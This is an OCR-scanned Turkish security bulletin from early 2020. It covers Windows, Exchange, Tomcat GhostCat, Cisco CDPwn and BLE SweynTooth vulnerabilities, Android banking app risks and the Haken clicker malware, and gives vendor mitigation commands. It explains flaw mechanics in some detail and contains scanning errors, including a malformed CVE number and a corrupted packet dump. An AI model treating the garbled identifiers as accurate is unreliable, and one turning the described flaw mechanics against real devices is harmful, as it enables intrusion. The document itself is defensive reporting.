takeown /f %windir%\system32\jscript.dll
cacls %windir%\system32\jscript.dll /E /P everyone:N

Zafiyetin giderilmesi icin dogrudan yama uygulanmasi
tavsiye edilse de, yamanin uygulanamadigi durumlarda
¢6zUm olarak verilen bu komutlarla olusan konfiguras-
yon ayarlarinin eski haline déndurtlmesi icin asagidaki
komutlar kullanilabilir.

32-bit sistemler icin:

cacls %windir%\system32\jscript.dll /E /R everyone

64-bit sistemler icin:

cacls %windir%\system32\jscript.dll /E /R everyone
cacls %windir%\syswow64\jscript.dll /E /R everyone

Internet Explorer (zerinde ortaya c¢ikan zafiyet disinda
internette aktif olarak istismar edilebilen bagska bir kritik
zafiyet henuz tespit edilmis degdilse de yamalar arasin-
da “6nemli” seviyesinde sayilan ancak kritik olarak dik-
kat edilmesi gereken bir zafiyet de Microsoft Exchange
Server Uzerinde bulunuyor. Bu zafiyet, saldirganin 6zel
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olarak olusturdugu bir e-postayl géndermesiyle séma-
rllebiliyor. Herhangi bir istemci veya kurban aksiyonu
gerektirmeyen bu zafiyetten yararlanan bir saldirgan,
sistem seviyesinde yetkilerle Exchange sunucusu Uze-
rinde kod c¢aligtirabiliyor ve dolayisiyla tim sistemi ele
gecirebiliyor. ZeroDaylnitiative programinda tespit edilen
bu zafiyet, CVE-2020-0688 kodu ile biliniyor.

Yamasi gecilen bir baska kritik zafiyet (CVE-202-0729)
ise LNK uzantili dosyalarin sistem Uzerinde igsleme ali-
nirken gerceklesen asamalardaki bir hatadan kaynakla-
niyor. Saldirgan, 6zel olarak olusturdugu LNK dosyasini
kurbana agtirabildigi anda sisteme erisim saglayabiliyor.
Saldin vektorl olarak kurbana génderilen dosya payla-
simlari veya hazirlanmig bir USB bellek gibi yéntemler
kullaniliyor. Daha 6nce Stuxnet gibi ¢esitli zararl yazihm-
lar tarafindan sémurilmis olan LNK dosyalari, sistemde
bir bagka dosyaya ulagsmak igin kisa yol (shortcut) olarak
kullanihyor.

Kritik zafiyetlerden gbze carpan bir digeri ise CVE-2020-
0662 koduyla bilinen DHCP zafiyeti. Ozel olarak olustu-
rulmus paketlerin DHCP sunucusuna godnderiimesiyle
sémurilen bu zafiyet, saldirganlarin hedef sistemlerde
yetkili kullanici izinleriyle kod/komut calistirmasini sagl-
yor. Zafiyetin sémuirlilmesinde her ne kadar 6n kosul ola-
rak saldirganin domain Uzerinde bir kullanici olmasi ge-
rekse de, DHCP sunucusu igleten her sistemin bu yamay
Microsoft Uzerinde uygulamasi tavsiye edilmektedir.

5. SMBV3.11 ZAFIYETI

SMBv3.11, sikistirma etkinlestirildiginde bir arabellek
asimi acigina sahiptir (varsayilan deger olarak sikistirma
etkindir). Windows 10 ve Server SMBv3.11 kullanir, ayri-
ca hizmet “Sistem” yetkileriyle ¢alisir. Basarili bir sekilde
sémurildiginde, “Sistem” ayricaliklarina sahip uzaktan
kod calistirmayla sonuglanir. Bu “wormable” olarak kabul
edilir. Microsoft, ilk etapta Mart 2020 “Patch Tuesday”
ile bir dizeltme yayinlanmamakla birlikte sonradan CVE-
2020-0796 icin Microsoft glincellestirmesiyle bu sorunu
gidermistir?.

Bu zafiyetten etkilenen Urlnler asagida listelenmigtir:

Windows 10 versiyon 1903 32-bit Sistemler
Windows 10 versiyon 1903 ARM64-tabanli Sistemler
Windows 10 versiyon 1903 x64-tabanli Sistemler
Windows 10 versiyon 1909 32-bit Sistemler
Windows 10 versiyon 1909 ARM64-tabanli Sistemler
Windows 10 versiyon 1909 x64-tabanl Sistemler
Windows Server, versiyon 1903 (Server Core installa-
tion)

Windows Server, versiyon 1909 (Server Core installa-
tion)
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Asagida gecici ¢6zim olarak Microsoft’'un dnerisi bu-
lunmaktadir. Belirtilen kod betigi PowerShell’de ¢alis-
tinlarak SMBvV3 sikistirmasi devre digi birakilabilmek-
tedir.

Set-ltemProperty  -Path  “HKLM:\\SYSTEM\CurrentControlSet\
Services\LanmanServer\Parameters” DisableCompression -Type
DWORD -Value 1 -Force

Bu kod calistirildiktan sonra tekrar baslatma gerekme-
mektedir. Ancak yukarida gosterilen gegici ¢6zlm yerine
sistemin gincellenmesi 6nerilmektedir.

6. APACHE TOMCAT SUNUCULARDA TESPIT
EDILEN YENIi ZAFiYET: GHOSTCAT

Yaygin olarak kullanilan Apache Tomcat uygulama
sunucusu Uzerinde, yazilimin giincel tim strimlerini
(9.x/8.x/7.x/6.x) etkileyen kritik bir zafiyet tespit edil-
mistir. GhostCat adiyla ve CVE-2020-1938 koduyla ta-
ninan bu zafiyet kullanilarak sunucu lzerinde barinan
herhangi bir dosyanin okunmasi, hassas dosyalarin ele
geciriimesi, kaynak kodlarin ¢alinmasi ve dosya yuk-
lenebilir sunucularda kod/komut ¢alistinimasi mimkin
olmaktadir.

Cinli siber guvenlik arastirmacilan tarafindan tespit
edilen GhostCat zafiyeti, Apache Tomact Uizerinde ¢a-
hsan Apache Jserv (AJP) protokoliniin gelen verileri
dogrulamadan igleme almasi sonucu ortaya cikmisg-
tir. AJP protokoll, HTTP protokoliyle yapilan haber-
lesmelerin Apache Tomcat sunucusuna iletilmesinde
kullanilan bir protokoldir. Sunucunun barindirdigi uy-
gulamada herhangi bir dosya ylikleme fonksiyonu bu-
lundugu takdirde, bir saldirgan igeriginde zararli JSP
bulunan herhangi bir dosyayr (PNG, JPEG, TXT vs.)
sunucuya yUkleyebilmekte ve ardindan dosya okuma
zafiyetini kullanarak zararli dosyayi cagirabilmekte ve
sunucu Uzerinde kod calistirabilmektedir. Cesitli arama
motorlarindan alinan verilere goére su anda GhostCat
zafiyetini iceren 170.000’in Uzerinde cihaz oldugu be-
lirtilmektedir.

Subat ayinda yayinlanan GhostCat zafiyetinin Apache
Tomcat 9.0.31, 8.5.51, 7.0.100 sdrimlerinde, gerek-
li glvenlik yamalarinin yapildigi ve zafiyetin giderildigi
belirtiimistir. Sistem yo&neticilerinin gerekli yamay ola-
bildigince hizli bir sekilde uygulamasi ve mimkinse
AJP portunu (8009) glivenilmeyen istemcilere tamamen
kapatmasi onerilmigtir. Sistemlerde aksaklik yaratabi-
lecek problemler olmasi durumuna karsi gincelleme
yapilamayan sunucularda dogrudan AJP Connector
moddilinin kapatiimasiyla gecici bir ¢6ziim saglanabil-
mektedir.
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7. KURUMSAL CiHAZLARDAKI AG KESIF
PROTOKOLLERININ KIRILMASI

Armis firmasinin arastirma ekibi olan Armis Labs,
Cisco’nun bazi router (yonlendirici), switch (ag anahtari),
IP telefon ve IP kameralarini etkileyen 5 tane 0-day (sifirin-
ci gin saldirnisi) tespit etti ve bunu “CDPwn, Breaking the
Discovery Protocols of the Enterprise of Things”® baslikli
makalede detayl olarak ele aldi. Armis Labs ekibi loT ci-
haz glvenligi, SCADA sistemler ve medikal cihaz gtivenli-
gi gibi konularda ¢alismalar yuritmektedir. ‘URGENT/11’,
‘BLEEDINGBIT’, ‘BlueBorne’ gibi blytk yanki uyandiran
calismalar bunlarin basinda gelmektedir.

S6z konusu makalede bahsedilen arastrmaya gore,
Cisco’nun ag kesif protokoli olan CDP (Cisco Discovery
Protocol) Uizerinde tespit edilen bu zafiyetlerin dért tane-
si Remote Code Execution (Uzaktan Kod Galistirma), bir
tanesi ise Denial of Service (Hizmet Engelleme) saldirisina
imkan saglamaktadir. Uzaktan kod calistirma saldirisiyla
saldirganin sistem Uzerinde istedigi operasyonu gergek-
lestirebilecek seviyeye geldigi, hizmet engelleme saldiri-
siyla da tim sistem agini kullanilamaz hale getirebilecegi
saptanmigtir. CDPwn adini verdikleri bu yéntemle arastir-
macilar kurumlardaki tim switch, router, IP telefonlar ve
IP kameralarin ele gecirilebilecegdini ifade etmektedir.

Belirtildigine gore, zafiyetlerin kesif asamasinda, CDP
Uzerindeki saldirn yizeyini anlayabilmek icin bu protokol-
de daha 6nce saptanmig zafiyetler arastinimis ve potan-
siyel Uzaktan Kod Galistirma saldirisi ihtimali yaratabile-
cek birkag tane kod bloku tespit edilmistir. Bu zafiyetlere
Cisco tarafindan yama gecilmis, fakat zafiyetin detayi
hakkinda herhangi bir bilgi verilmemistir. Armis Labs eki-
bi bu yama Uzerinde tersine mihendislik yaparak bir 6n-
ceki versiyonda yapilan degisiklikleri inceleyip diizeltilen
hatalari detaylariyla tespit etmis ve arastirmada odakla-
nacaklarn ylizey alanini kesfetmistir. Ekip, CDP (zerinde
dlzeltilen zafiyetlerden hareketle yeni 0-day zafiyetleri
belirlemistir. Arastirmada tespit edilen 5 kritik zafiyetin
detaylar agagidaki gibi belirtilmigtir.

7.1. Cisco NX-OS Adreslerde Kaynak
Tiiketim Zafiyeti (CVE-2020-3120)

Arastirmacilar, adreslerdeki TLV’nin (Etiket Uzunluk
Degeri) derinlemesine incelendiginde hataya ag¢ik oldu-
gunu tespit etmistir. Ayni TLV igin 4 farkl uzunluk ala-
ni mevcutken Adres Sayisi (Number of Adresses) icin 4
bayt, fakat Adres Uzunlugu (Address Length) icin 2 bayt
ayrilmig olmasi sorgulanmig ve bazi alanlarin gereksiz ol-
dugu belirtiimistir. Ornek olarak IPv4 adres uzunlugunun
her zaman 32-bit olacagi halde TLV yapisina dahil edil-
mesi gdsterilmigtir.

Bu yapinin sebep oldugu bir bagka problem de sudur:
Saldirgan, Adres Sayisini istedigi herhangi bir boyuta
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ayarlayarak bellek bloklarini doldurabilmekte ve bu da
CDP’nin ¢okmesine sebep olmaktadir.

Frame 1: 455 bytes on wire (3720 bits),
IEEE B82.3 Etharnet
Logical-Link Control
w Cisco Discovery Protocol
Version: 2
TTL: 188 seconds
Checksum: @x@%al [correct]
[Checksum Status: Good]
Device ID: myswitch
v Addreszes
Type: Addresses (Bx2882)
Length: 17
Kumber of addresses: 1
v IP address: 152.168.8.253
Protocol type: NLPID (@xel)
Protocol length: 1
Protocel: IP
Address length: 4
IF Address: 192.168.8.253
Port ID: FastEthernetd/1
Capabilities
Software Version
Platform: cisco WS-C295@-12
Protocol Hello: Cluster Managemant

Sekil 9: TLV Paket icerigi.

Bu zafiyetleri sdmiren saldirgan birgok CDP paketi gén-
derip adres sayisi alanini kullanarak tliketmek istedigi
bellek miktarini istedigi sekilde kontrol edebilmektedir.
Arastirmacilar bu sayede saldirganin CDP’nin istedigi
zaman diliminde ¢ékmesine sebep olacagini, CDP ¢ok-
mesi ile NX-OS ve I0S-XR igletim sistemlerinde cihazin
otomatik olarak yeniden baslatiimak zorunda olacagi ve
bunun da dolayl olarak cihazlari kullanilamaz hale geti-
rerek Hizmet Engelleme (DoS) saldirisina sebep olacagi-
ni belirtmektedir.

7.2. Cisco NX-0OS Stack Overflow
(Y1gin Tagsmasi) (CVE-2020-3119)

Arastirmada, TLV alanlarindaki Sinirlama Kontrolleri
(Boundary Check) incelenirken Power Request TLV (Gli¢
istegi) alani ve bu alanda Gii¢ isteklerinin 6zelliklerini
barindiran bir liste yapisinin oldugu tespit edilmistir. 16
bitlik liste uzunlugu kontroliinin diizgin bigimde yapil-
madigi ve bu listenin yigindaki sabit boyutlu bir arabel-
lege kopyalama yapmak icin kullanildigi belirtiimektedir.
Saldirgan, 16’'nin Uzerinde Gii¢ Dizeyine sahip aCDP
paketi kullanarak bu guvenlik agigindan yararlanabil-
mektedir. Armis Labs, bu teknigi kullanarak, makul bir
sire icinde uzaktan kod caligtirabilecek nispeten glve-
nilir bir istismar kodu gelistirdiklerini belirtmektedir. CDP
arka planda kék ayricaliklaryla (root privileges) caligti-
gindan, bdyle bir istismarin saldirganin hedef ag anah-
tarlari Gzerinde tam kontrollne izin verecegi ve bunun
da VLAN’lar arasinda atlamasina ve ag yapisina zarar
vermesine neden olabilecedi ifade edilmigtir.
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7.3. Cisco 10S XR Format String (Dize
Bicimlendirme) Zafiyeti (CVE-2020-3118)

Arastirmacilar, belirli string (dize) alanlar igin bir CDP
paketinden kaynaklanan zafiyeti bulduklarini belirtmek-
tedir. Koddaki (Sekil 10: CDP kodundaki zafiyetli dize
alanlarn.) device_id, port_id, software_version alanlari
saldirganin kontroll altinda oldugu i¢in saldirgan sinirla-
rn disindaki (out-of-bounds) yigin degiskeninin lzerine
yazabilmekte, bdylelikle uzaktan kod calistirma saldir-
sini gerceklestirebilmektedir. Arastirmacilar bu zafiyetin
bircok I0S XR slriimin(, dolayisiyla bircok Cisco ciha-
zini etkileyecegini, ayni zamanda saldirganin, hedef yon-
lendirici Uzerinde tam denetim sahibi olabilecegini, ag
bolimleri arasinda atlayabilecegini ve sonraki saldirilar
icin ydnlendiriciyi kullanabilecegini belirtmektedir.

Sekil 10: CDP kodundaki zafiyetli dize alanlari.

Armis Labs ekibi calismasinda temel olarak ag segment-
lerinin glvenligine odaklandidi icin hedefleri Cisco ag ci-
hazlari, NX-OS caligtiran Cisco Nexus switchleri ve 10S
XR c¢alistiran Cisco ydnlendiricileri olmustur. Bu calis-
malarda tespit edilen CDP yaziimindaki zafiyetlerin tim
Cisco urlnlerini etkileyebilecegi goérilmis ve arastirma
ekibi Cisco VolP Telefonlar ve Cisco IP Kameralara y6-
neldiginde bu cihazlarda da 0-day zafiyetleri kesfetmis-
tir. Bulunan zafiyetler sunlardir:

Cisco IP Telefonlarindaki Stack Overflow (Yigin
Tasmasi) (CVE-2020-3111)

Cisco IP Kameralarindaki
Tasmasi) (CVE-2020-3110)

Heap Overflow (Yigit

Arastirmacilar kurumsal ag cihazlarinda CDP’nin varsa-
yilan olarak desteklendigini ve yaygin olarak kullanildigini
ifade etmektedirler. Bu tip cihazlarda yukarida belirtilen
bes zafiyet sémurilebilmekte ve uzaktan kod calistirma
ve hizmet engelleme gibi ¢ok kritik saldirilar kolayca ya-
pilabilmektedir. Armis Labs ekibi, bu calismayla ortaya
cikardigi kritik zafiyetler, saldiri ylizeyi ve bunlarin getir-
digi riskler konusunda Cisco ile birlikte gcalistiklarini be-
litmektedir.

8. SWEYNTOOTH BLE ZAFiYETLERI

BLE (Bluetooth DusUk Enerji) kablosuz haberlesme
yapan cihazlarnn pil émrini uzatmak icin 6zel ola-
rak tasarlanan bir protokoldir. Singapur Teknoloji ve
Tasarim Universitesi arastirmacilarinin  bu protokol
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Uzerinde yaptiklar ¢alismalarda, degisik Ureticilerin gip-
lerinde cesitli zafiyetler tespit edilmistir. Arastirmacilarin
SweynTooth ¥ adli galigmalari, Bluetooth yazilimi ¢alis-
tiran yedi bUyUk ¢ip Gzerinde bulduklar 12 zafiyeti kap-
samaktadir. Radyo sinyali gdnderebilecek mesafede
olan saldirganlar master cihazlar (baglantiyi baglatan) ile
peripheral (baglantiyr kabul eden) cihazlara 6zel olarak
olusturulmus paketler géndererek cihazlarin kilitlenme-
sine, cbkmesine, arabelleklerinin tasmasina (BOF) ya da
glvenlik mekanizmalarinin tamamen devre digi birakil-
masina sebep olabilmektedir.

SweynTooth akilli ev, takip ve 6lcim, medikal cihazlar
gibi cesitli Urlnleri etkilemektedir. Bu Urinlerde Texas
Instruments, NXP, Cypress, Dialog Semiconductors gibi
blylk dreticilerin cipleri kullaniimaktadir. Arastirmacilar
bulduklar zafiyetler hakkinda bu Ureticilerle iletisime
gecmis, Ureticiler de gerekli giincellemeleri yayinlamigtir.
Kullanimda olan ¢ok miktardaki cihaz bu zafiyetlerden et-
kilenmis durumdadir; bu yizden her birinin bu giincelle-
meleri yapmasi gerekmektedir. Ne var ki loT cihazlar icin
glncelleme yapmak ¢ok da mUmkin gérinmemektedir.

Aragtirmacilar, Ureticilerin Grlnlerini kapsayan BLE serti-
fikasyon asamasinda yapilmasi gereken ciddi degisiklik-
ler oldugunu belirtmektedir.

8.1. Zafiyet Tipleri

Cokme: Bu kategorideki zafiyetler, cihazlarin arabel-
leklerinin tagsmasini saglayarak uzaktan kilitlenmesine
yol agmaktadir. Bir cihaz ¢oktiginde genellikle yeni-
den baslatilir. Ancak bu yeniden baglama yetenedi,
Ureticilerin hata kontrol mekanizmasini dogru gergek-
lestirmesine baglidir. Aksi takdirde cihazi elle yeniden
baslatmak gerekmektedir.

Kilitlenme: Bu kategori cihazlarin hafizasini boz-
mayan, BLE baglantisinin kullanilabilirligini etkileyen
zafiyetleri kapsamaktadir. Bu zafiyetler genellikle
kullanici kodlar ile ¢ip Ureticilerinin SDK’larn (yazihm
gelistirme araclar) arasinda senkronizasyon diizgiin

=—
1 .«'i'
FitBit Eve August
Inspire Energy Akillr Kilit
. 1
CubiTag eGeeTouch

Sekil 11: Zafiyet tespit edilen bazi cihazlar.
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yapiimadiginda meydana gelmektedir. Kilitlenme
meydana geldiginde cihaz ile BLE iletisiminin tekrar
diizglin bir sekilde kurulabilmesi i¢in gogu durumda
kullanicinin manuel olarak glict kesip cihazi tekrar
baslatmasi gerekmektedir.

Giivenligin devre disi birakilmasi: Arastirmacilar bu
kategorinin en ciddi zafiyetleri barindirdigini agikla-
miglardir. BLE glvenli baglanti eslestirme modunun
devre digi birakiimasina sebebiyet veren bu zafiyetler
saldirgana normal sartlarda sadece yetkili kullanici-
larin erigsebilmesi gereken cihazin fonksiyonlari icin
okuma ve yazma yetkisi saglamaktadir.

8.2. Zafiyetlerin Detaylari

8.2.1. Link Layer Uzunluk Bilgisi ile Bellek
Tasirma

Cypress PSoC4/6 BLE Bileseni 3.41/2.60’da (CVE-2019-
16336) ve NXP KW41Z 3.40 yazihm gelistirme aracinda
(CVE-2019-17519) bulunan bu zafiyet; BLE paketlerin-
deki “LL Length” alanindaki degerin maniple edilmesiyle
cihazda arabellek tagsmasini (BOF) mimkin kilmaktadir.
Gonderilen istekten daha buyuk bir “LL Length” degeri
gbnderilerek bellekte daha fazla yer ayriimasina sebep
olmaktadir. Bu durum ise cihazin servis digi kalmasina
(DoS) sebep olmaktadir. Arastirmacilarin belirttigine gére
daha once BleedingBit ! saldirisinda gérdigimuz gibi,
bu tip saldirilarin etkisi uzaktan kod calistirmaya kadar
varabilmektedir.

8.2.2. Link Layer LLID Bilgisi ile Cihaz
Kilitleme

Bu zafiyet ise Cypress (CVE-2019-17061) ve NXP (CVE-
2019-17060) cihazlarini deadlock (kilittenme) durumuna
getirmektedir. Arastirmacilar tarafindan BLE paketlerin-
deki LLID degeri 0 gonderildigi zaman, bazi cihazlarda
hata meydana geldigi tespit edilmistir. Baglantinin bun-
dan sonraki asamalarinda cihaz asla tamamlanmayan
bir eslesme silrecine girmektedir. Bu durumun yarattigi
en ciddi sorunlardan biri de baglanti koparildiktan sonra
cihaz “advertise” (Bluetooth cihazlarin ¢cevredeki cihaz-
lara varliklarini haber verdikleri duyuru modu) moduna
tekrar girdigi icin kullanicilarin bu problemin yasandigin-
dan haberdar olmamasidir.

8.2.3. Sessiz Link Layer Uzunluk Bilgisi ile
Bellek Tasirma

ilk saldirya benzeyen bu yéntemle arastirmacilar, Dialog
DA14680 cihazlarda master cihazlardan beklenmedik
blylkltkte bir LL Length degeri aldigi zaman peripheral
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cihazlarin bu pakete cevap verdigini tespit ettiler. ilk
bakista bunun cihazda bir etkisi olmadigi dustnulebilir
ancak “eglestirme iste@i” gibi belirli bir paket tiri bekle-
nilen LL Length degerinden buyik bir degerle génderil-
diginde peripheral cihazin ¢éktligu tespit edilmistir.

8.2.4. Gecersiz Baglanti istegi

BLE baglantilari baslatiirken merkezi cihaz, peripheral
cihazin duyuru paketlerini (advertisement) dinler ve bag-
lanti zaman agimi ve baglanti araligi gibi bilgileri de igeren
baglanti paketini bu cihaza goénderir. Cihazlara bu deger-
lerden birisi 0 olacak sekilde génderildiginde, BLE uygu-
lama koduna basarisiz durum mesaji (bleGAPConnNo-
tAcceptable) gonderilir, cihaz “bosta” durumuna geger ve
advertisement (duyuru) yapmayi birakir. Bu yontemin ken-
disi bir zafiyet degildir, “bosta” durumu BLE protokoliinde
sik¢a kullanilir ve uygulama tarafindan uygun bir sekilde
ele alinmasi gerekir. Ancak arastirmacilar bu durum degi-
simlerinin TI SDK tarafindan yeterince iyi belgelenmedigi-
ni ve bazi BLE cihazlarda geligtiricilerin “bosta” durumunu
kontrol etmediklerini tespit etmistir. Bu saldinda cihazlara
yeterince yakin mesafedeki saldirganlar cihazlarin kilitlen-
mesine sebep olabilmekte ve sonug olarak cihazin elle
yeniden baslatiimasi gerekmektedir.

8.2.5. 0 LTK Atamasi

Bu zafiyet glvenli baglanti destedi olan bitlin Telink
SMP (Secure Manager Protocol) kullanan Grlinleri etki-
lemektedir. Telink peripheral cihazlarin merkezi cihazdan
protokole uygun olmayan sirada gelen sifreleme istegi
kabul ettigi tespit edilmistir. Bu durum LTK (Long Term
Key) degerinin 0 olarak belirlenmesine yol agmaktadir.
Bu sayede bir saldirgan BLE cihazlan kullanan kullani-
cilarin guvenliginin temel aldigi gtivenli baglantiy1 tama-
men devre disi birakabilir. Bdylece guvenli bir BLE uy-
gulamasindaki iletisim Uzerinde tamamen kontrol sahibi
olabilir.

9. GLOBAL ANDROID BANKACILIK
UYGULAMALARINDAKI GUVENLIK RISKLERI

Bankaciligin dijital déntisimd ve mobil bankaciligin ha-
yatimiza girmesi hem sektére hem de son kullanicilara
buyuk kolaylklar getirmigtir. Artik bircok islem sube-
ye gitmeden, sira beklemeden ve musteri hizmetleriyle
gérismeden yapilabilmektedir. Mobil bankacilik uygu-
lamalar strekli gelistiriimekte, yeni &zellikler eklenerek
kullanicilara kolaylik saglanmakta, ayni zamanda potan-
siyel musterilerin dikkatini gekmek igin pazarlama unsu-
ru olarak kullaniimaktadir. Diger yandan sirekli gelisen
bu uygulamalar son kullanicilarin kigisel bilgilerini ve
finansal varliklarini tehlikeye atacak guvenlik acikliklari
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icerebilmektedir. Glvenlik uzmanlarn ve akademisyenler
cok sayida Android mobil bankacilik uygulamasinda kul-
lanicilan riske atan zafiyetler tespit etmistir, bunlann bir
kismi kisa sure iginde guincellenip dizeltilse de bir kis-
minin uzun sire zafiyetli olarak kullanimda kaldigi g6z-
lemlenmisgtir.

9.1. Teknik Riskler

Android mobil bankacilik uygulamalarinin son kullanicila-
ra getirdigi gtivenlik riskleri ve hassas bilgilerin disari siz-
dinlma bigimleri teknik olarak doért kategoriye ayrilabilir:

Girdi alanlan: Root atilmis (Root yetkisi elde edilmis)
Android cihazlarda ekran g&rintlsinin yakalan-
maslyla kullanicilarin girdi alanlarina yazdidi bilgiler
(kullanici adi, parola gibi) uygulama disina ¢ikartila-
bilmektedir. Bu islem Root atiimamis fakat “adb aktif-
lestiriimis” (hata ayiklama 6zelligi) cihazlarda da yapi-
labilmektedir.

Kayith veriler: Saldirganlar Rootlu cihazlarda da-
hili ve harici (SD kart) veri depolama birimlerine
(SharedPreferences, WebView.db gibi) ve Android
log sistemine (Rootlu olmasina gerek olmaksizin) eri-
sip hassas verileri okuyabilmekte ya da maniple ede-
bilmektedir.

Gonderilen veriler: Zararli yazilmlar gonderilen/ali-
nan SMS’leri dinleyerek hassas bilgileri ele gegirebil-
mektedir. Bunun yaninda Android isletim sisteminde
bulunan komponentler arasi iletisim (ICC) yapisi istis-
mar edilerek bankacilik uygulamasindan veri cekile-
bilmekte veya bankacilik uygulamasinin yaptigi yayin
(broadcast) dinlenerek kisisel bilgiler saldirganlar ta-
rafindan okunabilmektedir.

iletisim altyapisi: K&tii niyetli kisiler bankacilik uygu-
lamasinin internet trafigini bazi yontemler (Ortadaki
Adam Saldirnisi gibi) kullanarak dinleyebilmektedir.
Bu tiirden saldirilar genelde yanlis kimlik dogrulama
protokolleri, sifreleme algoritmalan ve sertifika dog-
rulama islemindeki eksiklikler gibi sebeplerden kay-
naklanmaktadirt.

9.2. Popiiler Analiz Araclarindaki
Yetersizlikler

Piyasada Android uygulamalarin glvenlik analizlerini
yapmada kullanilabilecek bircok ara¢ vardir. AndroBugs,
Qark ve MobSF en cok bilinen agik kaynak zafiyet bul-
ma araclarindan bazilaridir. AndroBugs, 6rintl esles-
tirme metoduyla Android uygulamalarindaki potansiyel
zafiyetleri tespit etmeyi amaglar ve analiz edilen uygu-
lamanin sahip oldugu izinler gibi meta verileri veri ta-
banina kaydeder®. Diger iki uygulama ise mobil sizma
testlerinde ve zafiyet tespitinde sik¢a kullanilan popller
yazilimlardir.
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Bilinen analiz araglarinin bitin guvenlik aciklarini tespit
etmesi mimkin degildir clinkii genelde 6rintl taban-
I galigirlar, gercek veri akigini kagirabilirler. Bu araglarin
amaci butin uygulamalar kapsayan genel bir ¢6zim
Uretmek oldugu icin bankacilik 6zelinde eksik olduklari
yénler mevcuttur.

9.3. Gelistirme Siirecinden Kaynaklanan
Problemler

Arastirmacilarin yedi blyUk banka ile yaptidi bir ¢alisma
uygulamalarin gelistirme sirecinden kaynaklanan bazi
problemleri ortaya ¢ikarmigtir:

Bazi bankalar uygulama gelistirme asamasinda risk
degerlendirmesi yaparken CVSS’den yararlansa da
bu mikemmel bir ¢6zim degildir®.

Zafiyetlerin kritiklik seviyesi objektif olarak degerlen-
dirilmemektedir. Bazi gelistiriciler tarafindan énemli
bulunan zafiyetler bagka bazi gelistiriciler tarafindan
6nemsiz goérulmekte ve ¢6zim ertelenmektedir.

Sistematik glvenlik analizleri ve dogrulama testleri
mevcut degildir.

Son kullanicilarin her zaman en giincel uygulama ver-
siyonuna sahip olduklar varsayiimaktadir.

Uclincl parti kittiphaneler (“com.google.gms.*” ve
“com.facebook.”” gibi) yaygin olarak kullaniimakta-
dir. MD5 ve SHA-1 gibi glvenilirligini yitirmis algorit-
malar sik¢a kullaniimaktadir.

*73

9.4. Zafiyetlerin Kiiresel Dagilimi

Yapilan arastirmalara gére Asya’daki mobil bankacilik
uygulamalari, batili Ulkelere gbére daha ¢ok zafiyet iger-
mektedir. Genel olarak gelismis Ulkeler gelismekte olan
Ulkelere gbre daha iyi bir istatistige sahip olsa da farkl
durumlar da mevcuttur. Ornegin, Asya’daki gelismis il-
kelerin mobil bankacilik uygulamalari, Asya’daki gelis-
mekte olan Ulkelere gbre daha fazla zafiyet icermektedir.

SEYREK --> YOGUN
T —

Sekil 12: Zafiyetlerin Kiresel Dagilimi.
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Bu durumun baslica sebepleri olarak asagidaki unsurlar
6ne cikmaktadir:

Ulkeler kendi iclerinde farkli regiilasyonlara ve uygu-
lama gelistirme standartlarina sahiptir.

Uygulama gelistirme butcgesi ve yaziim gelistiricilerin
tecriibe seviyesi uygulamalardaki gtivenlik agiklaryla
dogrudan iligkilidir.

Geleneksel bankaciligin yerini yiksek oranda dijital
bankaciligin aldigi bdlgelerde bankalar yatinmlarini
dijital altyapiya yapmakta ve givenlige verilen énem
artmaktadir’l.

Arastirma sonuglarina bakildiginda Android mobil ban-
kacilik uygulamalarinin guvenlik agisindan diger mobil
uygulamalardan cok da farkli olmadigi anlasiimaktadir.
Gelistiriciler agisindan ¢esitli zorluklar bulunmaktadir ve
halihazirdaki glvenlik analiz araclari batiin problemleri
gidermek icin tek basina yeterli degildir. Geligtiricilerin
her turli senaryoyu ve ihtimali géz 6niine alarak uygu-
lama gelistirmesi ve bir agiklik tespit edildiginde en hizli
sekilde diizeltme/dogrulama yapip glincelleme yayinla-
masi gerekir. Son kullanicilarin ise cihazlarinda guvenilir
kimlige sahip olmayan uygulama bulundurmamasi ve
bankacilik uygulamalarinin sirekli giincel oldugundan
emin olmasi gerekiyor.

Bu kisimda STM Siber Flizyon Merkezimizdeki analistle-
rin yaptigi farkl zararli yazilimlarnin davranis analizlerinin
sonuglari verilmektedir.

10. HAKEN CLICKER MALWARE FAMILY
ZARARLI YAZILIM ANALIZI

Check Point Yaziim Teknolojileri Ltd. Sirketinin clicker
malware ailesinin Uyesi olan BearClod zararli yaziliminin
davraniglarini incelemek icin yaptigi arastirmalarda, yeni
bir tir zararl yazim ailesi gdzlenmistir 9. Sirketin, 2020
Subat ayinda cikardigi glivenlik raporunda bu yeni tir cli-
cker zararli yazihm ailesinin davraniglarn “Haken Clicker
Malware Family” adi altinda incelenmis ve Google Play
Store platformundaki 8 farkli Android uygulamasinin
Haken tehdidinin zararli kodunu icerdigi tespit edilmistir.

Zararl yazilim kodu iceren uygulamalar sunlardir";

Kids Coloring,
Compass,

Qrcode,

Fruits coloring book,
Soccer coloring book,

OCAK-MART 2020

Fruit jump tower,
Ball number shooter ve
Inongdan’dir.

Simdilerde kaldirilan bu sekiz uygulamanin toplam in-
dirilme sayisi yaklagik 50.000 olmustur. Bununla birlikte
uygulamalarin cogu kamera yardimci programlardan ve
cocuk oyunlarindan olusmaktadirt'.

Haken zararli yazihm ailesinin temel davranig bigiminin
kullanicilarin kigisel verilerinin sizdinlmasi ve pahalil pre-
mium abonelik hizmetlerine kullanicidan habersiz kayit
olunmasi seklinde ilerledigi gézlemlenmistir. Bu zararli
yazilim kullaniciyi taklit eder ve cihazin ekraninda beliren
herhangi bir seye tiklayabilir (clicker). Bu sekilde, yazi-
lim mobil ekran Uzerinde gériinen her tarll kisisel veriye
ulasabilir. Kullanicinin mobil ayarlarina erisim saglayabi-
lir, ayarlarda degisiklik yapabilir ve mobil lzerinde agik
kalan oturumlari ve hesaplar takip ederek kisisel veri-
leri elde edebilir. Ayni zamanda reklamlara, aboneliklere
“tiklamalar” gerceklestirerek kullanicidan habersiz yeni
Uyelik ve oturumlar olugturabilir veya tiklamalarla giive-
nilmeyen (zararl) web sitelerine yonlendirme yapabilir.

Haken kot amacl yaziimin yeteneklerine érnek olarak
sunlar verilebilir:

Uygulama ayarlarini degistirme,
Uygulama menUstine ve igerigine gdz atma,
Butonlara veya baglantilara tiklama.

Bu yetenekler Haken tehdidinin kullanicinin higbir zaman
talep etmedigi satin almalar uygulama Uzerinden yap-
masina izin verir ve bu sekilde yazilma, kullanici banka
hesaplarini kontrol edinceye kadar kullanicinin parasini
sessizce harcama olanagi saglar. Zararli ayni zamanda,
sistem tarafindan ydnlendirilen onay istemlerini gizleme-
ye calisarak kullanici tarafindan tespit edilme olasiligini
en aza indirmeye galismaktadir!.

